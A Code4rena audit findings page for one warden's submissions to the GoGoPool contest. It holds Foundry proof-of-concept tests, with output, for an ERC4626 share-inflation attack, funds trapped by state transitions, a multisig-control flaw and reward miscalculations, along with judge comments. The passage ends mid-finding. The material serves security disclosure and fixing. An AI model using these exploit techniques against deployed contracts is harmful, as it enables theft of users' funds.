Platform: Code4rena
Start Date: 15/12/2022
Pot Size: $128,000 USDC
Total HM: 28
Participants: 111
Period: 19 days
Judge: GalloDaSballo
Total Solo HM: 1
Id: 194
League: ETH
Rank: 11/111
Findings: 9
Award: $2,138.26
π Selected for report: 3
π Solo Findings: 0
π Selected for report: 0xdeadbeef0x
Also found by: 0xLad, 0xNazgul, 0xSmartContract, 0xbepresent, Arbor-Finance, Breeje, HE1M, IllIllI, Qeew, Rolezn, SEVEN, SamGMK, SmartSek, TomJ, WatchDogs, ak1, btk, ck, datapunk, dic0de, eierina, fs0c, hansfriese, koxuan, ladboy233, peanuts, rvierdiiev, sces60107, tonisives, unforgiven, yongskiws
14.9051 USDC - $14.91
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/tokens/upgradeable/ERC4626Upgradeable.sol#L42 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/tokens/upgradeable/ERC4626Upgradeable.sol#L120
After the ERC4626x contract creation, during the first cycle, any user can deposit and transfer token to the vault to inflate the totalAssets()
before the rewards call, this can inflate the base share price and all the subsequence deposit will be using an inflated share price as base.
I did the next test:
function testInflationShares() public { // Initial deposit can break share calculations // 1. Init total suppply // 2. Transfer in order to inflate totalAsset and calculates share prices // 3. Deposit less than share price will be reverted due to return 0 share token.mint(address(this), 1e24); token.approve(address(xToken), type(uint256).max); // // 1. Init total supply // xToken.deposit(1, address(this)); // TotalSupply == 1; shares == 1; // // 2. Transfer in order to inflate totalAsset and calculates share prices // console.log("Share price ", xToken.convertToAssets(1)); // TotalSupply == 1; Shares == 1; console.log("Total supply ", xToken.totalAssets()); console.log("Transfer 50e18 to inflate totalAsset()"); token.transfer(address(xToken), 50 ether); // inflate totalAsset() xToken.syncRewards(); vm.warp(20); // skip 1 days to update new TotalAsset() value // totalSupply() still 1. So current share price is ~ 1e18 token instead of 1:1 for token. console.log("Share price ", xToken.convertToAssets(1)); console.log("Total supply ", xToken.totalAssets()); console.log("Deposit 1e18 ", xToken.deposit(1 ether, address(this))); console.log("Share price ", xToken.convertToAssets(1)); console.log("Total supply ", xToken.totalAssets()); console.log("Deposit 100e18 ", xToken.deposit(100 ether, address(this))); console.log("Share price ", xToken.convertToAssets(1)); console.log("Total supply ", xToken.totalAssets()); // // 3. Deposit less than share price will be reverted due to return 0 share // console.log("Deposit token less than share price amount (1e14) will be reverted due to return 0 share"); vm.expectRevert(abi.encodePacked("ZERO_SHARES")); xToken.deposit(1e14, address(this)); }
Output:
Running 1 test for test/unit/ERC4626X.t.sol:xERC4626Test [PASS] testInflationShares() (gas: 297151) Logs: Share price 1 Total supply 1 Transfer 50e18 to inflate totalAsset() Share price 785384247176131 Total supply 785384247176131 Deposit 1e18 1273 Share price 785545827509557 Total supply 1000785384247176131 Deposit 100e18 127300 Share price 785545953180636 Total supply 101000785384247176131 Deposit token less than share price amount (1e14) will be reverted due to return 0 share
Foundry/VsCode
Although there are offchain mitigations where the contract could be initialized safely it is possible to implement on chain mitigations like uniswap that burn the first LP Tokens.
#0 - GalloDaSballo
2023-01-08T13:10:05Z
Best POC but not as strong conclusion, almost penalized but ultimately believed they have explained the attack properly
#1 - c4-judge
2023-01-08T13:11:26Z
GalloDaSballo marked the issue as duplicate of #209
#2 - c4-judge
2023-01-29T18:38:23Z
GalloDaSballo changed the severity to 3 (High Risk)
#3 - c4-judge
2023-02-08T09:44:11Z
GalloDaSballo marked the issue as satisfactory
π Selected for report: 0xbepresent
Also found by: 0Kage, Atarpara, Ch_301, Manboy, cozzetti, datapunk, immeas, kaliberpoziomka8552, peritoflores, rvierdiiev, sces60107, unforgiven, wagmi, yixxas
74.3593 USDC - $74.36
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L484 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L528 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L287
The Multisig can call MinipoolManager.sol::recordStakingError()
if there is an error while registering the node as a validator. Also the Multisig can call MinipoolManager.sol::finishFailedMinipoolByMultisig() in order to "finish" the NodeOp's minipool proccess.
If the Multisig accidentally/intentionally calls recordStakingError()
then finishFailedMinipoolByMultisig()
the NodeOp funds may be trapped in the protocol.
The finishFailedMinipoolByMultisig()
has the next comment: Multisig can move a minipool from the error state to the finished state after a human review of the error but the NodeOp should be able to withdraw his funds after a finished minipool.
I created a test for this situation in MinipoolManager.t.sol
. At the end you can observe that the withdrawMinipoolFunds()
reverts with InvalidStateTransition
error:
function testUserFundsStuckErrorFinished() public { // NodeOp funds may be trapped by a invalid state transition // 1. NodeOp creates the minipool // 2. Rialto calls claimAndInitiateStaking // 3. Something goes wrong and Rialto calls recordStakingError() // 4. Rialto accidentally/intentionally calls finishFailedMinipoolByMultisig() in order // to finish the NodeOp's minipool // 5. The NodeOp can not withdraw his funds. The withdraw function reverts with // InvalidStateTransition() error // // 1. Create the minipool by the NodeOp // address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT); vm.prank(liqStaker1); ggAVAX.depositAVAX{value: MAX_AMT}(); assertEq(liqStaker1.balance, 0); uint256 duration = 2 weeks; uint256 depositAmt = 1000 ether; uint256 avaxAssignmentRequest = 1000 ether; uint256 validationAmt = depositAmt + avaxAssignmentRequest; uint128 ggpStakeAmt = 200 ether; vm.startPrank(nodeOp); ggp.approve(address(staking), ggpStakeAmt); staking.stakeGGP(ggpStakeAmt); MinipoolManager.Minipool memory mp = createMinipool(depositAmt, avaxAssignmentRequest, duration); vm.stopPrank(); assertEq(vault.balanceOf("MinipoolManager"), depositAmt); // // 2. Rialto calls claimAndInitiateStaking // vm.startPrank(address(rialto)); minipoolMgr.claimAndInitiateStaking(mp.nodeID); assertEq(vault.balanceOf("MinipoolManager"), 0); // // 3. Something goes wrong and Rialto calls recordStakingError() // bytes32 errorCode = "INVALID_NODEID"; minipoolMgr.recordStakingError{value: validationAmt}(mp.nodeID, errorCode); // NodeOps funds should be back in vault assertEq(vault.balanceOf("MinipoolManager"), depositAmt); // 4. Rialto accidentally/intentionally calls finishFailedMinipoolByMultisig() in order // to finish the NodeOp's minipool minipoolMgr.finishFailedMinipoolByMultisig(mp.nodeID); vm.stopPrank(); // 5. The NodeOp can not withdraw his funds. The withdraw function reverts with // InvalidStateTransition() error vm.startPrank(nodeOp); vm.expectRevert(MinipoolManager.InvalidStateTransition.selector); minipoolMgr.withdrawMinipoolFunds(mp.nodeID); vm.stopPrank(); }
Foundry/Vscode
The withdrawMinipoolFunds
could add another requireValidStateTransition in order to allow the withdraw after the finished minipoool.
#0 - c4-judge
2023-01-10T20:51:30Z
GalloDaSballo marked the issue as primary issue
#1 - c4-sponsor
2023-01-11T19:46:15Z
emersoncloud marked the issue as sponsor confirmed
#2 - 0xju1ie
2023-01-13T18:31:01Z
some notes on #581
#3 - 0xju1ie
2023-01-17T09:54:40Z
I think this should be the primary for the finishFailedMinipoolByMultisig()
problem.
Medium feels like a more appropriate severity. This issue depends on rialto multisig improperly functioning but we do intend to fix the finishFailedMinipoolByMultisig method to not lock users out of their funds.
#4 - c4-judge
2023-02-03T10:47:52Z
GalloDaSballo changed the severity to 2 (Med Risk)
#5 - GalloDaSballo
2023-02-03T10:49:17Z
The Warden has shown a potential issues with the FSM of the system, per the Audit Scope, the transition should not happen on the deployed system, however, the Warden has shown an issue with the state transition check and has detailed the consequences of it.
For this reason, I agree with Medium Severity
#6 - c4-judge
2023-02-08T08:31:09Z
GalloDaSballo marked the issue as selected for report
π Selected for report: imare
Also found by: 0Kage, 0xbepresent, AkshaySrivastav, Faith, HollaDieWaldfee, Jeiwan, Saintcode_, betweenETHlines, btk, dic0de, enckrish, gz627, imare, jadezti, kaliberpoziomka8552, nogo, simon135, sk8erboy
34.7487 USDC - $34.75
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L444 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L127 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MultisigManager.sol#L68 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MultisigManager.sol#L80
The MinipoolManager.sol::createMinipool()
function assign a "enabled multisig" with the multisigManager.requireNextActiveMultisig() function, so the minipool has a enabled multisig assigned.
It is possible that in the meantime where the minipool/node/validator is running, the multisig could be disabled by the MultisigManager.sol::disableMultisig() function.
For some reason (maybe a compromised multisig) the multisig could be disabled and the multisig should not recreate the minipool and get access to the funds via claimAndInitiateStaking() function.
The funds can be compromised by a disabled multisig.
The recreateMinipool()
only get the multisig assigned to the nodeID but onlyValidMultisig()
does not validate if the multisig is still enabled. The next scenario is possible:
File: MinipoolManager.sol 444: function recreateMinipool(address nodeID) external whenNotPaused { 445: int256 minipoolIndex = onlyValidMultisig(nodeID); 446: requireValidStateTransition(minipoolIndex, MinipoolStatus.Prelaunch); 447: Minipool memory mp = getMinipool(minipoolIndex);
File: MinipoolManager.sol 127: function onlyValidMultisig(address nodeID) private view returns (int256) { 128: int256 minipoolIndex = requireValidMinipool(nodeID); 129: 130: address assignedMultisig = getAddress(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".multisigAddr"))); 131: if (msg.sender != assignedMultisig) { 132: revert InvalidMultisigAddress(); 133: } 134: return minipoolIndex; 135: }
Manual review
The recreateMinipool() should validate if the assigned multisig is still enabled and assign another enabled multisig if it is necessary with the multisigManager.requireNextActiveMultisig()
function.
#0 - emersoncloud
2023-01-20T19:24:24Z
A disabled multisig isn't that it can't launch minipools but that we shouldn't assign new minipools to that multisig and we will phase it out as it releases all minipools.
That wasn't clear in our docs, but I think this is a medium severity issue rather than High
#1 - GalloDaSballo
2023-02-01T16:33:58Z
This ultimately is a dup of #702 the multi cannot be changed, which could cause issues
#2 - c4-judge
2023-02-01T16:34:06Z
GalloDaSballo changed the severity to 2 (Med Risk)
#3 - c4-judge
2023-02-01T16:34:19Z
GalloDaSballo marked the issue as duplicate of #702
#4 - c4-judge
2023-02-08T19:58:16Z
GalloDaSballo marked the issue as satisfactory
π Selected for report: __141345__
Also found by: 0xbepresent, Deivitto, HollaDieWaldfee, Nyx, PaludoX0, RaymondFam, ak1, cccz, ck, cryptostellar5, csanuragjain, ladboy233, rvierdiiev
68.0946 USDC - $68.09
The stakeGGP() function helps to stake the GGP only if the protocol is not paused (whenNotPaused modifier). The restakeGGP() function does not validate if the protocol is paused causing that users stake their unclaimed GGP rewards even if the protocol is paused.
The stakeGGP()
function is only possible if the protocol is not paused but the restakeGGP()
function bypass that restriction. The protocol is still staking even when it is paused.
Manual review
It would be possible to create a function where the user can claim all the ggp staked plus rewards even if the protocol is paused and the claimAndRestake()
can be used if the protocol is not paused.
#0 - c4-judge
2023-01-08T13:28:17Z
GalloDaSballo marked the issue as duplicate of #351
#1 - c4-judge
2023-01-29T18:15:30Z
GalloDaSballo marked the issue as duplicate of #673
#2 - c4-judge
2023-02-08T08:56:56Z
GalloDaSballo marked the issue as satisfactory
π Selected for report: Jeiwan
Also found by: 0xbepresent, Franfran, yixxas
683.5268 USDC - $683.53
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L452 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L458
The recreateMinipool()
helps to re-stake the minipool with all the compounding rewards. The problem is that the avaxLiquidStakerAmt is not using the correct value, the correct value is avaxLiquidStakerAmt + avaxLiquidStakerRewardAmt
for the avaxLiquidStakerAmt
variable.
When the multisig calls recreateMinipool()
, the AvaxAssigned/avaxLiquidStakerAmt are wrong causing the protocol to re-stake wrong values for the AvaxAssigned variable then the validator/node receives more Avax.
I did a test where you can see that the AvaxLiquidStakerAmt is not compounding the correct rewards:
AvaxLiquidStakerAmt: 1000000000000000000000 avaxLiquidStakerRewardAmt: 425000000000000000
AvaxLiquidStakerAmt: 1000575000000000000000 avaxLiquidStakerRewardAmt: 0
As you can see, the AvaxLiquidStakerAmt
at the end should be the sum of (1000000000000000000000 + 425000000000000000) not 1000575000000000000000.
function testRecreateMinipoolWrongLiquidStakerAmt() public { // Rewards liquidStaker wrong calculation // 1. Create Minipool, claimInitiateStakin and recordStakingStart // 2. Multisig call the recordStakingEnd with 1e18 of rewards // 3. Restake the minipool and see how the AvaxAssigned does not reflect the rewards gained before uint256 duration = 4 weeks; uint256 depositAmt = 1000 ether; uint256 avaxAssignmentRequest = 1000 ether; uint256 validationAmt = depositAmt + avaxAssignmentRequest; uint128 ggpStakeAmt = 100 ether; // // 1. Create Minipool, claimInitiateStakin and recordStakingStart // vm.startPrank(nodeOp); ggp.approve(address(staking), MAX_AMT); staking.stakeGGP(ggpStakeAmt); MinipoolManager.Minipool memory mp = createMinipool(depositAmt, avaxAssignmentRequest, duration); vm.stopPrank(); address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT); vm.prank(liqStaker1); ggAVAX.depositAVAX{value: MAX_AMT}(); vm.prank(address(rialto)); minipoolMgr.claimAndInitiateStaking(mp.nodeID); bytes32 txID = keccak256("txid"); vm.prank(address(rialto)); minipoolMgr.recordStakingStart(mp.nodeID, txID, block.timestamp); skip(4 weeks / 2); // Give rialto the rewards it needs uint256 rewards = 1 ether; deal(address(rialto), address(rialto).balance + rewards); console.log("Before recordStakingEnd avaxNodeOpAmt:", mp.avaxNodeOpAmt); console.log("Before recordStakingEnd AvaxLiquidStakerAmt:", mp.avaxLiquidStakerAmt);//1000 ether console.log("Before recordStakingEnd avaxNodeOpRewardAmt:", mp.avaxNodeOpRewardAmt); console.log("Before recordStakingEnd avaxLiquidStakerRewardAmt:", mp.avaxLiquidStakerRewardAmt); console.log("Before recordStakingEnd getAVAXAssigned", staking.getAVAXAssigned(mp.owner)); // Pay out the rewards console.log(""); console.log("Rewards 1e18:", rewards); vm.prank(address(rialto)); minipoolMgr.recordStakingEnd{value: validationAmt + rewards}(mp.nodeID, block.timestamp, rewards); MinipoolManager.Minipool memory mp2 = minipoolMgr.getMinipoolByNodeID(mp.nodeID); console.log("Before recreateMinipool avaxNodeOpAmt:", mp2.avaxNodeOpAmt); console.log("Before recreateMinipool AvaxLiquidStakerAmt:", mp2.avaxLiquidStakerAmt);//1000 ether console.log("Before recreateMinipool avaxNodeOpRewardAmt:", mp2.avaxNodeOpRewardAmt); console.log("Before recreateMinipool avaxLiquidStakerRewardAmt:", mp2.avaxLiquidStakerRewardAmt); console.log("Before recreateMinipool getAVAXAssigned", staking.getAVAXAssigned(mp2.owner)); console.log(""); // // 3. Restake the minipool and see how the AvaxAssigned does not reflect the rewards gained before // // Add a bit more collateral to cover the compounding rewards vm.prank(nodeOp); staking.stakeGGP(1 ether); vm.prank(address(rialto)); minipoolMgr.recreateMinipool(mp.nodeID); MinipoolManager.Minipool memory mpCompounded = minipoolMgr.getMinipoolByNodeID(mp.nodeID); console.log("After recreteMinipool avaxNodeOpAmt:", mpCompounded.avaxNodeOpAmt); console.log("After recreteMinipool AvaxLiquidStakerAmt:", mpCompounded.avaxLiquidStakerAmt);//1000 ether console.log("After recreateMinipool avaxNodeOpRewardAmt:", mpCompounded.avaxNodeOpRewardAmt); console.log("After recreateMinipool avaxLiquidStakerRewardAmt:", mpCompounded.avaxLiquidStakerRewardAmt); console.log("After recreateMinipool getAVAXAssigned", staking.getAVAXAssigned(mp.owner)); }
Output:
Running 1 test for test/unit/MinipoolManager.t.sol:MinipoolManagerTest [PASS] testRecreateMinipoolWrongLiquidStakerAmt() (gas: 1468903) Logs: Before recordStakingEnd avaxNodeOpAmt: 1000000000000000000000 Before recordStakingEnd AvaxLiquidStakerAmt: 1000000000000000000000 Before recordStakingEnd avaxNodeOpRewardAmt: 0 Before recordStakingEnd avaxLiquidStakerRewardAmt: 0 Before recordStakingEnd getAVAXAssigned 1000000000000000000000 Rewards 1e18: 1000000000000000000 Before recreateMinipool avaxNodeOpAmt: 1000000000000000000000 Before recreateMinipool AvaxLiquidStakerAmt: 1000000000000000000000 Before recreateMinipool avaxNodeOpRewardAmt: 575000000000000000 Before recreateMinipool avaxLiquidStakerRewardAmt: 425000000000000000 Before recreateMinipool getAVAXAssigned 0 After recreteMinipool avaxNodeOpAmt: 1000575000000000000000 After recreteMinipool AvaxLiquidStakerAmt: 1000575000000000000000 After recreateMinipool avaxNodeOpRewardAmt: 0 After recreateMinipool avaxLiquidStakerRewardAmt: 0 After recreateMinipool getAVAXAssigned 1000575000000000000000
VsCode/Foundry
The recreateMinipool should calculate the avaxLiquidStakerAmt
using the avaxLiquidStakerRewardAmt
amount:
diff --git a/contracts/contract/MinipoolManager.sol b/contracts/contract/MinipoolManager.sol index 8563580..7b6afbd 100644 --- a/contracts/contract/MinipoolManager.sol +++ b/contracts/contract/MinipoolManager.sol @@ -448,14 +448,15 @@ contract MinipoolManager is Base, ReentrancyGuard, IWithdrawer { // Compound the avax plus rewards // NOTE Assumes a 1:1 nodeOp:liqStaker funds ratio uint256 compoundedAvaxNodeOpAmt = mp.avaxNodeOpAmt + mp.avaxNodeOpRewardAmt; + uint256 compoundedavaxLiquidStakerAmt = mp.avaxLiquidStakerAmt + mp.avaxLiquidStakerRewardAmt; setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".avaxNodeOpAmt")), compoundedAvaxNodeOpAmt); - setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".avaxLiquidStakerAmt")), compoundedAvaxNodeOpAmt); + setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".avaxLiquidStakerAmt")), compoundedavaxLiquidStakerAmt); Staking staking = Staking(getContractAddress("Staking")); // Only increase AVAX stake by rewards amount we are compounding // since AVAX stake is only decreased by withdrawMinipool() staking.increaseAVAXStake(mp.owner, mp.avaxNodeOpRewardAmt); - staking.increaseAVAXAssigned(mp.owner, compoundedAvaxNodeOpAmt); + staking.increaseAVAXAssigned(mp.owner, compoundedavaxLiquidStakerAmt); staking.increaseMinipoolCount(mp.owner); if (staking.getRewardsStartTime(mp.owner) == 0) {
#0 - GalloDaSballo
2023-01-10T10:16:21Z
Primary because of POC
#1 - c4-judge
2023-01-10T10:16:25Z
GalloDaSballo marked the issue as primary issue
#2 - emersoncloud
2023-01-17T08:21:06Z
#3 - c4-judge
2023-02-02T19:29:30Z
GalloDaSballo marked the issue as duplicate of #620
#4 - c4-judge
2023-02-09T09:26:53Z
GalloDaSballo marked the issue as satisfactory
π Selected for report: bin2chen
Also found by: 0xbepresent, 0xhunter, RaymondFam, Saintcode_, adriro, ast3ros, cryptonue, immeas
179.3848 USDC - $179.38
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MultisigManager.sol#L35 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MultisigManager.sol#L55 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MultisigManager.sol#L68
The MultisigManager.sol
allows to register the multisigs that are valid for the Minipools administration. There is a limit for the registration.
If for some reason all the Multisig are disabled/compromised, it would not possible to add more multisig because the limit. The protocol can not create/enable more multisigs and is not possible to create minipools because there are not any enabled multisig.
All multisigs could be compromised and arises the necessity to register more multisigs in order to assign them for the minipool administration. It is an edge case but it is possible.
I did the next test:
function testMultisigLimitAfterDisableAllOfThem() public { // Unable to assign more multisig when all of them are disabled // 1. Register and enable multisigs and reach the limit // 2. Disable all the multisigs // 3. Register another multisig and the transaction will be reverted because // the registration reach the limit uint256 count = multisigMgr.getCount(); uint256 limit = multisigMgr.MULTISIG_LIMIT(); // // 1. Register multisigs and reach the limit // vm.startPrank(guardian); for (uint256 i = 0; i < limit - count; i++) { address randomMultisig = randAddress(); multisigMgr.registerMultisig(randomMultisig); multisigMgr.enableMultisig(randomMultisig); } assertEq(multisigMgr.getCount(), limit); vm.expectRevert(MultisigManager.MultisigLimitReached.selector); multisigMgr.registerMultisig(randAddress()); // // 2. Disable all the multisigs // for (uint256 i = 0; i < limit - count; i++) { (address multisigAddress,) = multisigMgr.getMultisig(i); multisigMgr.disableMultisig(multisigAddress); } // // 3. Register another multisig and the transaction will be reverted because // the registration reach the limit // address randomMultisig = randAddress(); vm.expectRevert(MultisigManager.MultisigLimitReached.selector); multisigMgr.registerMultisig(randomMultisig); vm.stopPrank(); }
Foundry/VsCode
Count only the validated/enabled multisigs in order to control the limit.
#0 - 0xju1ie
2023-01-19T14:05:54Z
#1 - c4-judge
2023-01-27T17:09:18Z
GalloDaSballo marked the issue as duplicate of #521
#2 - c4-judge
2023-02-08T20:04:45Z
GalloDaSballo marked the issue as satisfactory
π Selected for report: immeas
Also found by: 0x73696d616f, 0xbepresent, 0xdeadbeef0x, V_B, unforgiven
369.1045 USDC - $369.10
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L385 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/Vault.sol#L173 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L670
The MinipoolManager.sol::createMinipool()
receives the duration
param which helps to know how much time the validator will be enabled.
If the minipool is created with a zero value duration
and the multisig wants to call recordStakingEnd()
function with zero value for the avaxTotalRewardAmt
param, the recorStakingEnd()
will revert the transaction because the duration is not correct and the Vault.sol::transferToken() receives a zero value amount causing it to reverse. The MinipoolManager.sol::slash()
function uses the duration
value and that causes the revert.
The multisig can't return the liquid staker/user funds because the recordStakingEnd()
will be reverting the transaction.
I did a test:
function testRecordStakingEndWithSlashAndDurationZero() public { // recordStaking reverts when duration is zero and rewards amount is zero // 1. Create a minipool with duration zero // 2. Multisig claimInit the staking and record the staking start // 3. Multisig call the recordStakingEnd with zero rewards and the transaction will revert uint256 duration = 0; uint256 depositAmt = 1000 ether; uint256 avaxAssignmentRequest = 1000 ether; uint256 validationAmt = depositAmt + avaxAssignmentRequest; uint128 ggpStakeAmt = 200 ether; // // 1. Create a minipool with duration zero // vm.startPrank(nodeOp); ggp.approve(address(staking), MAX_AMT); staking.stakeGGP(ggpStakeAmt);//Node deposit ggpStakeAmt MinipoolManager.Minipool memory mp1 = createMinipool(depositAmt, avaxAssignmentRequest, duration);//create minipool with 0 duration vm.stopPrank(); address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT); vm.prank(liqStaker1);//liquid staker deposit avax ggAVAX.depositAVAX{value: MAX_AMT}(); // // 2. Multisig claimInit the staking and record the staking start // vm.prank(address(rialto)); minipoolMgr.claimAndInitiateStaking(mp1.nodeID); bytes32 txID = keccak256("txid"); vm.prank(address(rialto)); minipoolMgr.recordStakingStart(mp1.nodeID, txID, block.timestamp); console.log("Before recordStakingEnd AvaxLiquidStakerAmt:", mp1.avaxLiquidStakerAmt / 1 ether); console.log("Before recordStakingEnd getAVAXAssigned", staking.getAVAXAssigned(mp1.owner) / 1 ether); skip(2 weeks); // // 3. Multisig call the recordStakingEnd with zero rewards and the transaction will revert // vm.prank(address(rialto)); vm.expectRevert(MinipoolManager.InvalidAmount.selector); minipoolMgr.recordStakingEnd{value: validationAmt}(mp1.nodeID, block.timestamp, 0 ether); }
VsCode/Foundry
Validates a non-zero value duration in the createMinipool()
function.
#0 - c4-judge
2023-01-10T17:57:49Z
GalloDaSballo marked the issue as duplicate of #694
#1 - c4-judge
2023-02-02T12:20:02Z
GalloDaSballo marked the issue as not a duplicate
#2 - c4-judge
2023-02-02T12:39:44Z
GalloDaSballo marked the issue as duplicate of #492
#3 - c4-judge
2023-02-02T12:39:52Z
GalloDaSballo changed the severity to 2 (Med Risk)
#4 - c4-judge
2023-02-08T20:07:59Z
GalloDaSballo marked the issue as satisfactory
π Selected for report: 0xbepresent
Also found by: 0xbepresent, cccz, cozzetti, datapunk, hansfriese
639.7811 USDC - $639.78
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L484 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/ClaimNodeOp.sol#L46
The MinipoolManager.sol::recordStakingError()
function is called when there is an error while registering the node as a validator. The problem is that the recordStakingError()
does not decrement the nodeop's minipool count as it is done in the recordStakingEnd() function
If the minipool
count does not decrease, the ClaimNodeOp.sol::isEligible() function could be unstable because the staking.getRewardsStartTime() is not set to zero here because the nodeop's minipool is still more than zero.
The function ClaimNodeOp.sol::isEligible()
can return a staker for eligible for rewards even if it is not the case.
I created a test in ClaimNodeOp.t.sol
:
function testRecordStakingErrorAndWithdrawStillHaveActiveMinipool() public { // NodeOp with error in registering the node as a validator can withdraw his funds and // still have an active minipool // 1. NodeOp1 creates minipool // 2. Rialto/multisig claimAndInitiateStaking, recordStakingStart and recordStakingError // 3. NodeOp1 withdraw his funds from minipool // 4. NodeOp1 still has "active minipool" address nodeOp1 = getActorWithTokens("nodeOp1", MAX_AMT, MAX_AMT); uint256 duration = 2 weeks; uint256 depositAmt = 1000 ether; uint256 avaxAssignmentRequest = 1000 ether; skip(dao.getRewardsCycleSeconds()); rewardsPool.startRewardsCycle(); // // 1. NodeOp1 creates minipool // vm.startPrank(nodeOp1); ggp.approve(address(staking), MAX_AMT); staking.stakeGGP(200 ether); MinipoolManager.Minipool memory mp1 = createMinipool(depositAmt, avaxAssignmentRequest, duration); vm.stopPrank(); address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT); vm.prank(liqStaker1); ggAVAX.depositAVAX{value: MAX_AMT}(); // // 2. Rialto/multisig claimAndInitiateStaking, recordStakingStart and recordStakingError // vm.prank(address(rialto)); minipoolMgr.claimAndInitiateStaking(mp1.nodeID); bytes32 txID = keccak256("txid"); vm.prank(address(rialto)); minipoolMgr.recordStakingStart(mp1.nodeID, txID, block.timestamp); bytes32 errorCode = "INVALID_NODEID"; int256 minipoolIndex = minipoolMgr.getIndexOf(mp1.nodeID); skip(2 weeks); vm.prank(address(rialto)); minipoolMgr.recordStakingError{value: depositAmt + avaxAssignmentRequest}(mp1.nodeID, errorCode); assertEq(vault.balanceOf("MinipoolManager"), depositAmt); MinipoolManager.Minipool memory mp1Updated = minipoolMgr.getMinipool(minipoolIndex); assertEq(mp1Updated.avaxTotalRewardAmt, 0); assertEq(mp1Updated.errorCode, errorCode); assertEq(mp1Updated.avaxNodeOpRewardAmt, 0); assertEq(mp1Updated.avaxLiquidStakerRewardAmt, 0); assertEq(minipoolMgr.getTotalAVAXLiquidStakerAmt(), 0); assertEq(staking.getAVAXAssigned(mp1Updated.owner), 0); // The highwater doesnt get reset in this case assertEq(staking.getAVAXAssignedHighWater(mp1Updated.owner), depositAmt); // // 3. NodeOp1 withdraw his funds from the minipool // vm.startPrank(nodeOp1); uint256 priorBalance_nodeOp = nodeOp1.balance; minipoolMgr.withdrawMinipoolFunds(mp1.nodeID); assertEq((nodeOp1.balance - priorBalance_nodeOp), depositAmt); vm.stopPrank(); // // 4. NodeOp1 still has "active minipool" // assertEq(staking.getMinipoolCount(nodeOp1), 1); }
Vscode/Foundry
Add staking.decreaseMinipoolCount(owner);
in the MinipoolManager.sol::recordStakingError()
function.
#0 - c4-judge
2023-01-10T20:45:41Z
GalloDaSballo marked the issue as duplicate of #471
#1 - GalloDaSballo
2023-01-10T20:46:12Z
Will make a note to double check, but fundamentally #471 already explains this
#2 - c4-judge
2023-02-08T20:10:59Z
GalloDaSballo marked the issue as satisfactory
π Selected for report: 0xbepresent
Also found by: 0xbepresent, cccz, cozzetti, datapunk, hansfriese
639.7811 USDC - $639.78
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L484 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/ClaimNodeOp.sol#L56 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/ClaimNodeOp.sol#L89
The documentation says that the NodeOps could be elegible for GGP rewards if they have a valid minipool. The problem is that if the MiniPool has an error while registering the node as a validator, the NodeOp can get rewards even if the minipool had an error.
When the Rialto calls recordStakingError()
function the AssignedHighWater
is not reseted. So the malicious NodeOp (staker) can create pools which will have an error in the registration and get rewards from the protocol.
I created a test in ClaimNodeOp.t.sol
:
